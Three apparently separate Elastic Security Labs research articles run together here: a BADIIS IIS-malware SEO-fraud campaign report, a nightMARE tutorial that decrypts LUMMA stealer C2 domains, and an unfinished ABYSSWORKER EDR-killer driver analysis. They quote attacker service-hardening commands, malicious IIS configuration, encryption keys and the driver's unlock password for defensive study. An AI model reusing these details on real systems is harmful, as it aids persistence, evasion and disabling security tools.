In November 2025, Elastic Security Labs observed an intrusion affecting a multinational organization based in Southeast Asia. During the analysis of this activity, our team observed various post-compromise techniques and tooling used to deploy BADIIS malware onto a Windows web server. These observations align with previous reporting from Cisco Talos and Trend Micro from last year.

This threat group has amassed more victims and is coordinating a large-scale SEO poisoning operation from countries across the globe. Our visibility into the campaign indicates a complex, geotargeted infrastructure designed to monetize compromised servers by redirecting users to a broad network of illicit websites such as online gambling platforms and cryptocurrency schemes.

Key takeaways

• Elastic Security Labs observes large-scale SEO poisoning campaigns targeting IIS servers with BADIIS malware globally, impacting over 1,800 Windows servers
• Compromised servers are monetized through a web of infrastructure used to target users with gambling advertisements and other illicit websites
• Victim infrastructure includes governments, various corporate organizations, and educational institutions from Australia, Bangladesh, Brazil, China, India, Japan, Korea, Lithuania, Nepal, and Vietnam
• This activity corresponds with the threat group, UAT-8099, identified by Cisco Talos last October, and is consistent with prior reporting from Trend Micro

Campaign Overview

REF4033 is a Chinese-speaking cybercrime group responsible for a massive, coordinated SEO poisoning campaign that has compromised more than 1,800 Windows web servers worldwide using a malicious IIS module called BADIIS.

The campaign operates through a two-phase process:

• First, it serves keyword-stuffed HTML to search engine crawlers to poison search results, and
• Next, it redirects victims to a sprawling "vice economy" of illicit gambling platforms, pornography, and sophisticated cryptocurrency phishing sites, such as a fraudulent clone of the Upbit exchange.

By deploying the BADIIS malware, a malicious IIS module that integrates directly into a web server's request processing pipeline, the group hijacks the web servers for legitimate government, educational, and corporate domains. This high-reputation infrastructure is used to manipulate search engine rankings, thereby allowing attackers to intercept web traffic and facilitate widespread financial fraud.

Intrusion activity

In November 2025, Elastic Security Labs observed post-compromise activity from a Windows IIS server from an unknown attack vector. This threat actor moved quickly, progressing from initial access to IIS module deployment in less than 17 minutes. The initial enumeration was performed via a webshell running under the IIS worker process (w3wp.exe). The attacker conducted initial discovery and then created a new user account.

Shortly after the account was created and added to the Administrators group, Elastic Defend generated several alerts related to a newly created Windows service, WalletServiceInfo. The service loaded an unsigned ServiceDLL (C:\ProgramData\Microsoft\Windows\Ringtones\CbsMsgApi.dll) and subsequently executed direct syscalls from the module.

Next, we saw the threat actor harden their access by using a program called D-Shield Firewall. This software provides additional security features for IIS servers, including preventive protections and capabilities to add network restrictions. To proceed with the investigation, we used the observed imphash (1e4b23eee1b96b0cc705da1e7fb9e2f3) of the loader (C:\ProgramData\Microsoft\Windows\Ringtones\CbsMsgApi.exe) to obtain a loader sample from VirusTotal for our analysis.

To collect a sample of the malicious DLL used by this loader, we performed a VirusTotal search on the name (CbsMsgApi.dll). We found 7 samples submitted using the same filename. The group behind this appears to have been using a similar codebase since September 2024. Most of these samples employ VMProtect, a commercial code-obfuscation framework, to hinder static and dynamic analysis. Fortunately, we used an older, non-protected sample to gain additional insight into this attack chain.

Code analysis - CbsMsgApi.exe

The group employs an attack workflow that requires several files staged by the attacker to deploy the malicious IIS module. The execution chain begins with the PE executable, CbsMsgApi.exe. This file contains Chinese Simplified strings, including the PDB string (C:\Users\Administrator\Desktop\替换配置文件\w3wpservice-svchost\x64\Release\CbsMsgApi.pdb).

After launch, this program creates a Windows service, WalletServiceinfo, which configures a ServiceDLL (CbsMsgApi.dll) that runs under svchost.exe, similar to this persistence technique.

This newly created service focuses on stealth and anti-tampering by modifying the security descriptor of the service with the following command-line:

sc sdset "WalletServiceInfo" "D:(D;;DCLCWPDTSD;;;IU)(D;;DCLCWPDTSD;;;SU)(D;;DCLCWPDTSD;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)"

Code analysis - CbsMsgApi.dll

The main component of this attack sequence is the ServiceDLL (CbsMsgApi.dll). The malicious DLL stages the BADIIS IIS native modules and alters the IIS configuration to load them into the request pipeline of the DefaultAppPool.

During this attack, the threat actor stages three files masquerading within the System32\drivers folder:

• C:\Windows\System32\drivers\WUDFPfprot.sys
• C:\Windows\System32\drivers\WppRecorderpo.sys
• C:\Windows\System32\drivers\WppRecorderrt.sys

Two of these files (WppRecorderrt.sys, WppRecorderpo.sys) represent the malicious 32-bit / 64-bit BADIIS modules. The other file (WUDFPfprot.sys) represents configuration elements that will be injected into the IIS’s existing configuration. Below is an example configuration used during our analysis. Of note is the module name WsmRes64 (more information on this DLL is detailed in the IIS Modules Analysis (WsmRes32.dll / WsmRes64.dll) section below):

<globalModules>
    	<add name="WsmRes64" image="C:\Windows\Microsoft.NET\Framework\WsmRes64.dll" preCondition="bitness64" />
</globalModules>
<modules>
    <add name="WsmRes64" preCondition="bitness64" />
</modules>

The malware uses the CopyFileA function to move the contents from the masqueraded files into the .NET directory (C:\Windows\Microsoft.NET\Framework).

Next, the malware parses the DefaultAppPool.config file, examining each node to update the <globalModules> and <modules> nodes. The module will inject configuration content from the previously masqueraded file (WUDFPfprot.sys), updating the IIS configuration via a series of append operations.

Below is an example of the newly added global module entry that references the BADIIS DLL.

Upon successful execution, the BADIIS module is installed on the IIS server and becomes visible as a loaded module in the w3wp.exe worker process.

IIS Modules Analysis (WsmRes32.dll / WsmRes64.dll)

The following section will describe the functionality of BADIIS modules. These modules facilitate the conditional injection or redirection of malicious SEO content based on criteria such as the User-Agent or Referer header value. This technique ensures that malicious content remains hidden during normal use, thereby allowing the modules to remain undetected for as long as possible.

Upon initialization, the module downloads content from URLs defined in its configuration. These URLs are stored in an encrypted format and decrypted using the SM4 algorithm (a Chinese national standard block cipher) in ECB mode with the key “1111111122222222”. In older samples, the AES-128 ECB algorithm was used instead.

Each URL in the configuration points to a static .txt file that contains a second-stage resource. The list below details these source files and their specific roles:

These URLs point to region-specific files, prefixed with the corresponding country code. While the examples above focus on Korea (hxxp://kr.domain.com), equivalent files exist for other regions, such as Vietnam (VN), where filenames are prefixed with "vn" rather than "kr"(hxxp://vn.domain.com).

The BADIIS module registers within the request processing pipeline, positioning itself as both the first and the last handler. For each request, the module verifies specific properties and selects an injection or redirection strategy based on the results. We have three types of injection:

To distinguish between bot and human traffic, the module checks against the following list of Referers and User-Agents.

Referers: bing, google, naver, daum
User agents: bingbot, Googlebot, Yeti, Daum

The default injection strategy targets search engine crawlers accessing a legitimate page on the compromised site.

In this scenario, the SEO backlinks are retrieved from the secondary link and injected into the page to be crawled by search engine bots. The downloaded backlinks that are injected into the infected page primarily target other local pages within the domain, whereas the remainder point to pages on other infected domains. This is a key aspect of the link-farming strategy, which involves creating large networks of sites that link to one another and manipulate search rankings.

The local pages linked by the backlinks do not exist on the infected domain, so visiting them results in a 404 error. However, when the request is intercepted, the malware checks two conditions: whether the status code is not 200 or 3xx, and whether the browser's User-Agent matches a crawler bot. If so, it downloads content from an SEO page hosted on its infrastructure (via a link in the *fmldz.txt file from its configuration URL) and returns a 200 response code to the bot. This target URL is built using 'domain' and 'uri' parameters that contain the infected domain name and the resource the crawler originally attempted to access.

Finally, if a user requests a page that does not exist and arrives with a Referer header value listed by the malware, the page is replaced by a third type of content: a landing page with a loading bar. This page uses JavaScript to redirect the user to the link contained in the *fmltz.txt file, which is obtained via its configuration link.

Optionally, if enabled, the request is executed only when the User-Agent matches a mobile phone, ensuring the server targets mobile users exclusively.

The list of mobile User-Agents is listed below:

Devices: iPhone, iPad, iPod, iOS, Android, uc (UC Browser), BlackBerry, HUAWEI

If the option is enabled and the infected server's IP address matches the subnet list in the google.css file downloaded from the *fmlip.txt file, the server serves the standard SEO content instead of the landing/redirection page.

The landing page includes JavaScript code containing an analytics tag—either Google Analytics or Baidu Tongji, depending on the target region—to monitor redirections. While the exact reason for using server IP filtering to restrict traffic remains unclear, we speculate that it is linked to these analytics and implemented for SEO purposes.

We identified the following Google tags across the campaign:

• G-2FK43E86ZM
• G-R0KHSLRZ7N

As well as a Baidu Tongji tag:

• B59ff1638e92ab1127b7bc76c7922245

Campaign Analysis

Based on similarity in URL patterns (<country_code>fml__.txt, <country_code>fml/index.php), we discovered an older campaign dating back to mid-2023 that was using the following domains as the configuration server.

• tz123[.]app
• tz789[.]app

tz123[.]app was disclosed in a Trend Micro BADIIS campaign summary IOC list, published in 2024 . Based on the first submission dates on VT for samples named ul_cache.dll and communicating with hxxp://tz789[.]app/brfmljs[.]txt, some are also submitted under the filename WsmRes64.dll. This naming convention is consistent with the BADIIS loader component analyzed in the prior section. The earliest sample we discovered on VT was first submitted on 2023-12-12.

For REF4033, the infrastructure is split between two primary configuration servers.

• Recent campaigns (gotz003[.]com): Currently serves as the primary configuration hub. Further analysis has identified 5 active subdomains categorized by country codes:
  • kr.gotz003[.]com (South Korea)
  • vn.gotz003[.]com (Vietnam)
  • cn.gotz003[.]com (China)
  • cnse.gotz003[.]com (China)
  • bd.gotz003[.]com (Bangladesh)
• Legacy infrastructure (jbtz003[.]com): Used in older campaign iterations, though several subdomains remain operational:
• br.jbtz003[.]com (Brazil)
• vn.jbtz003[.]com (Vietnam)
• vnbtc.jbtz003[.]com (Vietnam)
• in.jbtz003[.]com (India)
• cn.jbtz003[.]com (China)
• jp.jbtz003[.]com (Japan)
• pk.jbtz003[.]com (Pakistan)

At its core, the recent campaign monetizes compromised servers by redirecting users to a vast network of illicit websites. The campaign is heavily invested in the vice economy, targeting Asian audiences, such as unregulated online casinos, pornography streaming, and explicit advertisements for prostitution services.

It also poses a direct financial threat. One example was a fraudulent cryptocurrency staking platform hosted at uupbit[.]top, impersonating Upbit, South Korea’s largest cryptocurrency exchange.

The campaign’s targeting logic largely mirrors the compromised infrastructure's geography, establishing a correlation between the server’s location and the user’s redirection target. For instance, compromised servers in China funnel traffic to local gambling sites, while those in South Korea redirect to the fraudulent Upbit phishing site. The exception to this pattern involved compromised infrastructure in Bangladesh, which the actors configured HTTP redirects to point to non-local, Vietnamese gambling sites.

We have observed several different redirection loading pages throughout the clusters. Below is an example of the user redirection template for a sample targeting VN victim infrastructure. This template uses a Google tag and is very similar to one of the templates described in Cisco Talos’ UAT-8099 research.

A more consistent template observed across the victim clusters is shown in the snippet below, particularly the progress bar logic. Since the sample targets CN victim infrastructure, Baidu Tongji is used for tracking victim redirection.

We discovered several clusters (some with overlaps) of compromised servers from URLs containing backlinks in the following list:

• http://kr.gotz001[.]com/lunlian/index.php
• http://se.gotz001[.]com/lunlian/index.php
• https://cn404.gotz001[.]com/lunlian/index.php
• https://cnse.gotz001[.]com/lunlian/index.php
• https://cn.gotz001[.]com/lunlian/index.php
• https://cn.gotz001[.]com/lunlian/indexgov.php
• https://vn404.gotz001[.]com/lunlian/index.php
• https://vn.gotz001[.]com/lunlian/index.php
• http://bd.gotz001[.]com/lunlian/index.php
• http://vn.jbtz001[.]com/lunlian/index.php
• https://vnse.jbtz001[.]com/lunlian/index.php
• https://vnbtc.jbtz001[.]com/lunlian/index.php
• https://in.jbtz001[.]com/lunlian/index.php
• https://br.jbtz001[.]com/lunlian/index.php
• https://cn.jbtz001[.]com/lunlian/index.php
• https://jp.jbtz001[.]com/lunlian/index.php
• https://pk.jbtz001[.]com/lunlian/index.php

Within the scope of REF4033, more than 1800 servers were impacted globally, and the campaign demonstrates a clear geographic focus on the APAC region, with China and Vietnam accounting for approximately 82% of all observed compromised servers (46.1% and 35.8%, respectively). Secondary concentrations are observed in India (3.9%), Brazil (3.8%), and South Korea (3.4%), although these represent a minority of the overall campaign footprint. Notably, approximately 30% of compromised servers reside on major cloud platforms, including Amazon Web Services, Microsoft Azure, Alibaba Cloud, and Tencent Cloud. The remaining 70% of victims are distributed across regional telecommunications providers.

The victim profile spans diverse sectors, including government agencies, educational institutions, healthcare providers, e-commerce platforms, media outlets, and financial services, indicating large-scale opportunistic exploitation rather than targeted exploitation. Government and public administration systems represent approximately 8% of identified victims across at least 5 countries (.gov.cn, .gov.br, .gov.bd, .gov.vn, .gov.in, .leg.br).

REF4033 through MITRE ATT&CK

Elastic uses the MITRE ATT&CK framework to document common tactics, techniques, and procedures that threats use against enterprise networks.

Tactics

Tactics represent the why of a technique or sub-technique. It is the adversary’s tactical goal: the reason for performing an action.

• Initial Access
• Execution
• Persistence
• Defense Evasion
• Discovery

Techniques

Techniques represent how an adversary achieves a tactical goal by performing an action.

• Exploit Public-Facing Application
• Server Software Component: IIS Components
• Create Account: Local Account
• Create or Modify System Process: Windows Service
• Hijack Execution Flow: Services Registry Permissions Weakness
• Obfuscated Files or Information: Software Packing
• Masquerading: Match Legitimate Name or Location
• System Information Discovery

Remediating REF4033

Prevention

• Suspicious Microsoft IIS Worker Descendant
• Potential Privilege Escalation via Token Impersonation
• Privilege Escalation via SeImpersonatePrivilege
• Direct Syscall from Unsigned Module
• Suspicious Windows Service DLL Creation
• Suspicious Svchost Registry Modification
• Security Account Manager (SAM) Registry Access

YARA

Elastic Security has created YARA rules to identify this activity.

• Windows.Trojan.BadIIS
• Windows.Trojan.Generic

Observations

The following observables were discussed in this research.

References

The following were referenced throughout the above research:

• https://blog.talosintelligence.com/uat-8099-chinese-speaking-cybercrime-group-seo-fraud
• https://blog.talosintelligence.com/uat-8099-new-persistence-mechanisms-and-regional-focus/
• https://www.trendmicro.com/en_us/research/25/b/chinese-speaking-group-manipulates-seo-with-badiis.html

Since the creation of Elastic Security Labs, we have focused on developing malware analysis tools to not only aid in our research and analysis, but also to release to the public. We want to give back to the community and give back as much as we get from it. In an effort to make these tools more robust and reduce code duplication, we created the Python library nightMARE. This library brings together various useful features for reverse engineering and malware analysis. We primarily use it to create our configuration extractors for different widespread malware families, but nightMARE is a library that can be applied to multiple use cases.

With the release of version 0.16, we want to officially introduce the library and provide details in this article on some interesting features offered by this module, as well as a short tutorial explaining how to use it to implement your own configuration extractor compatible with the latest version of LUMMA (as of the post date).

nightMARE features tour

Powered by Rizin

To reproduce the capabilities of popular disassemblers, nightMARE initially used a set of Python modules to perform the various tasks necessary for static analysis. For example, we used LIEF for executable parsing (PE, ELF), Capstone to disassemble binaries, and SMDA to obtain cross-reference (xref) analysis.

These numerous dependencies made maintaining the library more complex than necessary. That's why, in order to reduce the use of third-party modules as much as possible, we decided to use the most comprehensive reverse engineering framework available. Our choice naturally gravitated towards Rizin.

Rizin is an open-source reverse engineering software, forked from the Radare2 project. Its speed, modular design, and almost infinite set of features based on its Vim-like commands make it an excellent backend choice. We integrated it into the project using the rz-pipe module, which makes it very easy to create and instrument a Rizin instance from Python.

Project structure

The project is structured along three axes:

• The "analysis" module contains sub-modules useful for static analysis.
• The "core" module contains commonly useful sub-modules: bitwise operations, integer casting, and recurring regexes for configuration extraction.
• The "malware" module contains all algorithm implementations (crypto, unpacking, configuration extraction, etc.), grouped by malware family and, when applicable, by version.

Analysis modules

For static binary analysis, this module offers two complementary working techniques: disassembly and instruction analysis with Rizin via the reversing module, and instruction emulation via the emulation module.

For example, when constants are manually moved onto the stack, instead of trying to analyze the instructions one by one to retrieve the immediates, it is possible to emulate the entire piece of code and read the data on the stack once the processing is done.

Another example that we will see later in this article is that, in the case of cryptographic functions, if it is complex, it is often simpler to directly call it in the binary using emulation than to try to implement it manually.

Reversing module

This module contains the Rizin class, which is an abstraction of Rizin's functionalities that send commands directly to Rizin thanks to rz-pipe and offers the user an incredible amount of analysis power for free. Because it’s an abstraction, the functions that the class exposes can be easily used in a script without prior knowledge of the framework.

Although this class exposes a lot of different features, we are not trying to be exhaustive. The goal is to reduce duplicated code for recurring functionalities across all our tools. However, if a user finds that a function is missing, they can directly interact with the rz-pipe object to send commands to Rizin and achieve their goals.

Here is a short list of the functions we use the most:

# Disassembling
def disassemble(self, offset: int, size: int) -> list[dict[str, typing.Any]]
def disassemble_previous_instruction(self, offset: int) -> dict[str, typing.Any]
def disassemble_next_instruction(self, offset: int) -> dict[str, typing.Any]

# Pattern matching
def find_pattern(
    self, 
    pattern: str,
    pattern_type: Rizin.PatternType) -> list[dict[str, typing.Any]]
def find_first_pattern(
    self,
    patterns: list[str],
    pattern_type: Rizin.PatternType) -> int

# Reading bytes
def get_data(self, offset: int, size: int | None = None) -> bytes
def get_string(self, offset: int) -> bytes

# Reading words
def get_u8(self, offset: int) -> int
...
def get_u64(self, offset: int) -> int

# All strings, functions
def get_strings(self) -> list[dict[str, typing.Any]]
def get_functions(self) -> list[dict[str, typing.Any]]

# Xrefs
def get_xrefs_from(self, offset: int) -> list
def get_xrefs_to(self, offset: int) -> list[int]

Emulation module

In version 0.16, we reworked the emulation module to take full advantage of Rizin's capabilities to perform its various data-related tasks. Under the hood, it’s using the Unicorn engine to perform emulation.

For now, this module only offers a "light" PE emulation with the class WindowsEmulator, light in the sense that only the strict minimum is done to load a PE. No relocations, no DLLs, no OS emulation. The goal is not to completely emulate a Windows executable like Qiling or Sogen, but to offer a simple way to execute code snippets or short sequences of functions while knowing its limitations.

The WindowsEmulator class offers several useful abstractions.

# Load PE and its stack
def load_pe(self, pe: bytes, stack_size: int) -> None

# Manipulate stack
def push(self, x: int) -> None
def pop(self) -> int

# Simple memory management mechanisms
def allocate_memory(self, size: int) -> int
def free_memory(self, address: int, size: int) -> None

# Direct ip and sp manipulation
@property
def ip(self) -> int
@property
def sp(self) -> int

# Emulate call and ret
def do_call(self, address: int, return_address: int) -> None
def do_return(self, cleaning_size: int = 0) -> None

# Direct unicorn access
@property
def unicorn(self) -> unicorn.Uc

The class allows the registration of two types of hooks: normal unicorn hooks and IAT hooks.

# Set unicorn hooks, however the WindowsEmulator instance get passed to the callback instead of unicorn
def set_hook(self, hook_type: int, hook: typing.Callable) -> int:

# Set hook on import call
def enable_iat_hooking(self) -> None:
def set_iat_hook(
        self,
        function_name: bytes,
        hook: typing.Callable[[WindowsEmulator, tuple, dict[str, typing.Any]], None],
) -> None:

As a usage example, we use the Windows binary DismHost.exe .

The binary uses the Sleep import at address 0x140006404:

We will therefore create a script that registers an IAT hook for the Sleep import, starts the emulation execution at address 0x140006404, and ends at address 0x140006412.

# coding: utf-8

import pathlib

from nightMARE.analysis import emulation


def sleep_hook(emu: emulation.WindowsEmulator, *args) -> None:
    print(
        "Sleep({} ms)".format(
            emu.unicorn.reg_read(emulation.unicorn.x86_const.UC_X86_REG_RCX)
        ),
    )
    emu.do_return()


def main() -> None:
    path = pathlib.Path(r"C:\Windows\System32\Dism\DismHost.exe")
    emu = emulation.WindowsEmulator(False)
    emu.load_pe(path.read_bytes(), 0x10000)
    emu.enable_iat_hooking()
    emu.set_iat_hook("KERNEL32.dll!Sleep", sleep_hook)
    emu.unicorn.emu_start(0x140006404, 0x140006412)


if __name__ == "__main__":
    main()

It is important to note that the hook function must necessarily return with the do_return function so that we can reach the address located after the call.

When the emulator starts, our hook is correctly executed.

Malware module

The malware module contains all the algorithm implementations for each malware family we cover. These algorithms can cover configuration extraction, cryptographic functions, or sample unpacking, depending on the type of malware. All these algorithms use the functionalities of the analysis module to do their job and provide good examples of how to use the library.

With the release of v0.16, here are the different malware families that we cover.

blister
deprecated
ghostpulse
latrodectus
lobshot
lumma
netwire
redlinestealer
remcos
smokeloader
stealc
strelastealer
xorddos

The complete implementation of the LUMMA algorithms we cover in the next chapter tutorial can be found under the LUMMA sub-module.

Please take note that the rapidly evolving nature of malware makes maintaining these modules difficult, but we welcome any help to the project, direct contribution, or opening issues.

Example: LUMMA configuration-extraction

LUMMA STEALER, also known as LUMMAC2, is an information-stealing malware still widely used in infection campaigns despite a recent takedown operation in May 2025. This malware incorporates control flow obfuscation and data encryption, making it more challenging to analyze both statically and dynamically.

In this section, we will use the following unencrypted sample as reference: 26803ff0e079e43c413e10d9a62d344504a134d20ad37af9fd3eaf5c54848122

We do a short analysis of how it decrypts its domain names step by step, and then demonstrate along the way how we build the configuration extractor using nightMARE.

Step 1: Initializing the ChaCha20 context

In this version, LUMMA performs the initialization of its cryptographic context after loading WinHTTP.dll, with the decryption key and nonce; this context will be reused for each call to the ChaCha20 decryption function without being reinitialized. The nuance here is that an internal counter within the context is updated with each use, so later we’ll need to take into account the value of this counter before the first domain decryption and then decrypt them in the correct order.

To reproduce this step in our script, we need to collect the key and nonce. The problem is that we don't know their location in advance, but we know where they are used. We pattern match this part of the code, then extract the addresses g_key_0 (key) and g_key_1 (nonce) from the instructions.

CRYPTO_SETUP_PATTERN = "b838?24400b???????00b???0???0096f3a5"

def get_decryption_key_and_nonce(binary: bytes) -> tuple[bytes, bytes]:
    # Load the binary in Rizin
    rz = reversing.Rizin.load(binary)

    # Find the virtual address of the pattern
    if not (
        x := rz.find_pattern(
            CRYPTO_SETUP_PATTERN, reversing.Rizin.PatternType.HEX_PATTERN
        )
    ):
        raise RuntimeError("Failed to find crypto setup pattern virtual address")

    # Extract the key and nonce address from the instruction second operand
    crypto_setup_va = x[0]["address"]
    key_and_nonce_address = rz.disassemble(crypto_setup_va, 1)[0]["opex"]["operands"][
        1
    ]["value"]

    # Return the key and nonce data
    return rz.get_data(key_and_nonce_address, CHACHA20_KEY_SIZE), rz.get_data(
        key_and_nonce_address + CHACHA20_KEY_SIZE, CHACHA20_NONCE_SIZE
    )

def build_crypto_context(key: bytes, nonce: bytes, initial_counter: int) -> bytes:
    crypto_context = bytearray(0x40)
    crypto_context[0x10:0x30] = key
    crypto_context[0x30] = initial_counter
    crypto_context[0x38:0x40] = nonce
    return bytes(crypto_context)

Step 2: Locate the decryption function

In this version, LUMMA's decryption function is easily located across samples as it is utilized immediately after loading WinHTTP imports.

We derive the hex pattern from the first bytes of the function to locate it in our script:

DECRYPTION_FUNCTION_PATTERN = "5553575681ec1?0100008b??243?01000085??0f84??080000"

def get_decryption_function_address(binary) -> int:
    # A cache system exist so the binary is only loaded once, then we get the same instance of Rizin :)
    if x := reversing.Rizin.load(binary: bytes).find_pattern(
        DECRYPTION_FUNCTION_PATTERN, reversing.Rizin.PatternType.HEX_PATTERN
    ):
        return x[0]["address"]
    raise RuntimeError("Failed to find decryption function address")

Step 3: Locate the encrypted domain's base address

By using xrefs from the decryption function, which is not called with obfuscated indirection like other LUMMA functions, we can easily find where it is called to decrypt the domains.

As with the first step, we will use the instructions to discover the base address of the encrypted domains in the binary:

C2_LIST_MAX_LENGTH = 0xFF
C2_SIZE = 0x80
C2_DECRYPTION_BRANCH_PATTERN = "8d8?e0?244008d7424??ff3?565?68????4500e8????ffff"

def get_encrypted_c2_list(binary: bytes) -> list[bytes]:
    rz = reversing.Rizin.load(binary)
    address = get_encrypted_c2_list_address(binary)
    encrypted_c2 = []
    for ea in range(address, address + (C2_LIST_MAX_LENGTH * C2_SIZE), C2_SIZE):
        encrypted_c2.append(rz.get_data(ea, C2_SIZE))
    return encrypted_c2


def get_encrypted_c2_list_address(binary: bytes) -> int:
    rz = reversing.Rizin.load(binary)
    if not len(
        x := rz.find_pattern(
            C2_DECRYPTION_BRANCH_PATTERN, reversing.Rizin.PatternType.HEX_PATTERN
        )
    ):
        raise RuntimeError("Failed to find c2 decryption pattern")

    c2_decryption_va = x[0]["address"]
    return rz.disassemble(c2_decryption_va, 1)[0]["opex"]["operands"][1]["disp"]

Step 4: Decrypt domains using emulation

A quick analysis of the decryption function shows that this version of LUMMA uses a slightly customized version of ChaCha20. We recognize the same small and diverse decryption functions scattered throughout the binaries. Here, they are used to decrypt parts of the ChaCha20 "expand 32-byte k" constant, which are then XOR-ROL derived before being stored in the context structure.

While we could implement the decryption function in our script, we have all the necessary addresses to demonstrate how we can directly call the function already present in the binary to decrypt our domains, using nightMARE's emulation module.

# We need the right initial value, before decrypting the domain
# the function is already called once so 0 -> 2
CHACHA20_INITIAL_COUNTER = 2

def decrypt_c2_list(
    binary: bytes, encrypted_c2_list: list[bytes], key: bytes, nonce: bytes
) -> list[bytes]:
    # Get the decryption function address (step 2)
    decryption_function_address = get_decryption_function_address(binary)

    # Load the emulator, True = 32bits
    emu = emulation.WindowsEmulator(True)
 
    # Load the PE in the emulator with a stack of 0x10000 bytes
    emu.load_pe(binary, 0x10000)
    
    # Allocate the chacha context
    chacha_ctx_address = emu.allocate_memory(CHACHA20_CTX_SIZE)
    
    # Write at the chacha context address the crypto context
    emu.unicorn.mem_write(
        chacha_ctx_address,
        build_crypto_context(
            key,
            nonce,
            CHACHA20_INITIAL_COUNTER, 
        ),
    )

    decrypted_c2_list = []
    for encrypted_c2 in encrypted_c2_list:
	 # Allocate buffers
        encrypted_buffer_address = emu.allocate_memory(C2_SIZE)
        decrypted_buffer_address = emu.allocate_memory(C2_SIZE)
        
        # Write encrypted c2 to buffer
        emu.unicorn.mem_write(encrypted_buffer_address, encrypted_c2)

        # Push arguments
        emu.push(C2_SIZE)
        emu.push(decrypted_buffer_address)
        emu.push(encrypted_buffer_address)
        emu.push(chacha_ctx_address)
 
        # Emulate a call
        emu.do_call(decryption_function_address, emu.image_base)

        # Fire!
        emu.unicorn.emu_start(decryption_function_address, emu.image_base)

        # Read result from decrypted buffer
        decrypted_c2 = bytes(
            emu.unicorn.mem_read(decrypted_buffer_address, C2_SIZE)
        ).split(b"\x00")[0]

        # If result isn't printable we stop, no more domain
        if not bytes_re.PRINTABLE_STRING_REGEX.match(decrypted_c2):
            break

        # Add result to the list
        decrypted_c2_list.append(b"https://" + decrypted_c2)

        # Clean up the args
        emu.pop()
        emu.pop()
        emu.pop()
        emu.pop()

        # Free buffers
        emu.free_memory(encrypted_buffer_address, C2_SIZE)
        emu.free_memory(decrypted_buffer_address, C2_SIZE)

       # Repeat for the next one ...

    return decrypted_c2_list

Result

Finally, we can run our module with pytest and view the LUMMA C2 list (decrypted_c2_list):

https://mocadia[.]com/iuew  
https://mastwin[.]in/qsaz  
https://ordinarniyvrach[.]ru/xiur  
https://yamakrug[.]ru/lzka  
https://vishneviyjazz[.]ru/neco  
https://yrokistorii[.]ru/uqya  
https://stolevnica[.]ru/xjuf  
https://visokiykaf[.]ru/mntn  
https://kletkamozga[.]ru/iwqq 

This example highlights how the nightMARE library can be used for binary analysis, specifically, for extracting the configuration from the LUMMA stealer.

Download nightMARE

The complete implementation of the code presented in this article is available here.

Conclusion

nightMARE is a versatile Python module, based on the best tools the open source community has to offer. With the release of version 0.16 and this short article, we hope to have demonstrated its capabilities and potential.

Internally, the project is at the heart of various even more ambitious projects, and we will continue to maintain nightMARE to the best of our abilities.

Cybercriminals are increasingly bringing their own drivers — either exploiting a vulnerable legitimate driver or using a custom-built driver to disable endpoint detection and response (EDR) systems and evade detection or prevention capabilities.

Elastic Security Labs has monitored a financially motivated campaign deploying MEDUSA ransomware through the use of a HEARTCRYPT-packed loader. This loader was deployed alongside a revoked certificate-signed driver from a Chinese vendor we call ABYSSWORKER, which it installs on the victim machine and then uses to target and silence different EDR vendors. This EDR-killer driver was recently reported by ConnectWise in another campaign, using a different certificate and IO control codes, at which time some of its capabilities were discussed. In 2022, Google Cloud Mandiant disclosed a malicious driver called POORTRY which we believe is the earliest mention of this driver.

In this article, we take an in-depth look at this driver, examining its various features and techniques. We also provide relative virtual addresses (RVA) under each reversed code screenshot to link the research with the reference sample, along with a small client example that you can use to further experiment with this malware.

Technical Analysis

PE header

The binary is a 64-bit Windows PE driver named smuol.sys, and imitates a legitimate CrowdStrike Falcon driver.

At the time of analysis, we found a dozen samples on VirusTotal, dating from 2024-08-08 to 2025-02-24. Most were VMProtect packed, but two — referenced in the observable tables below — weren’t protected.

All samples are signed using likely stolen, revoked certificates from Chinese companies. These certificates are widely known and shared across different malware samples and campaigns but are not specific to this driver. The certificate fingerprints are listed below:

Obfuscation

ABYSSWORKER uses functions that always return the same value, relying on a combination of opaque predicates and other derivation functions. For example, the zero-returning function below always returns a 0 based on hardcoded derived values.

Below is one of the derivation functions:

These constant-returning functions are called repeatedly throughout the binary to hinder static analysis. However, there are only three such functions, and they aren't used in any predicate but are simply called. We can easily identify them, making this an inefficient obfuscation scheme.

Initialization

Upon initialization, the driver begins by obtaining pointers to several kernel modules and its client protection feature, which will be discussed in the following sections.

Then, it creates a device with the path \\device\\czx9umpTReqbOOKF and a symbolic link with the path \\??\\fqg0Et4KlNt4s1JT.

It completes initialization by registering callbacks for its major functions.

Client protection on device opening

When the driver device is opened, the IRP_MJ_CREATE major callback is called. This function is responsible for adding the process ID to the list of processes to protect and for stripping any pre-existing handles to the target process from the list of running processes.

The function retrieves the process ID from the current kernel thread since the kernel callback is executed in the context of the client process when the device is opened.

Before adding the process ID to the protection list, ABYSSWORKER searches for and strips any existing handles to the client process in other running processes.

To achieve this, the malware iterates over existing processes by brute-forcing their Process IDs (PIDs) to avoid reliance on any API. For each process, it iterates over their handles, also using brute force, and checks if the underlying object corresponds to the client process. If a match is found, it strips the access rights using the value passed as a parameter (0x8bb).

Finally, it adds the PID to the global list of protected processes.

As mentioned earlier, the driver sets up its protection feature during the initialization phase. This protection relies on registering two pre-operation callbacks using the ObRegisterCallback API: one to detect the opening of handles to its protected processes and another to detect the opening of handles to the threads of those protected processes.

The two callbacks operate in the same way: they set the desired access for the handle to zero, effectively denying the creation of the handle.

DeviceIoControl handlers

Upon receiving a device I/O control request, ABYSSWORKER dispatches the request to handlers based on the I/O control code. These handlers cover a wide range of operations, from file manipulation to process and driver termination, providing a comprehensive toolset that can be used to terminate or permanently disable EDR systems.

We detail the different IO controls in the table below:

Enabling the malware (0x222080)

As discussed in this blog post, the client must enable the driver by sending a password (7N6bCAoECbItsUR5-h4Rp2nkQxybfKb0F-wgbJGHGh20pWUuN1-ZxfXdiOYps6HTp0X) to the driver, in our case it’s through the 0x222080 IO control.

The handler simply compares the user input with the hardcoded password. If correct, it sets a global flag to true (1). This flag is checked in all other handlers to permit or deny execution.

Loading the API (0x2220c0)

Most handlers in the malware rely on kernel APIs that must be loaded using this handler. This handler loads these globals along with several structures, using the kernel module pointers previously loaded during initialization. Once the loading is complete, a global flag is set to signal the availability of these APIs.

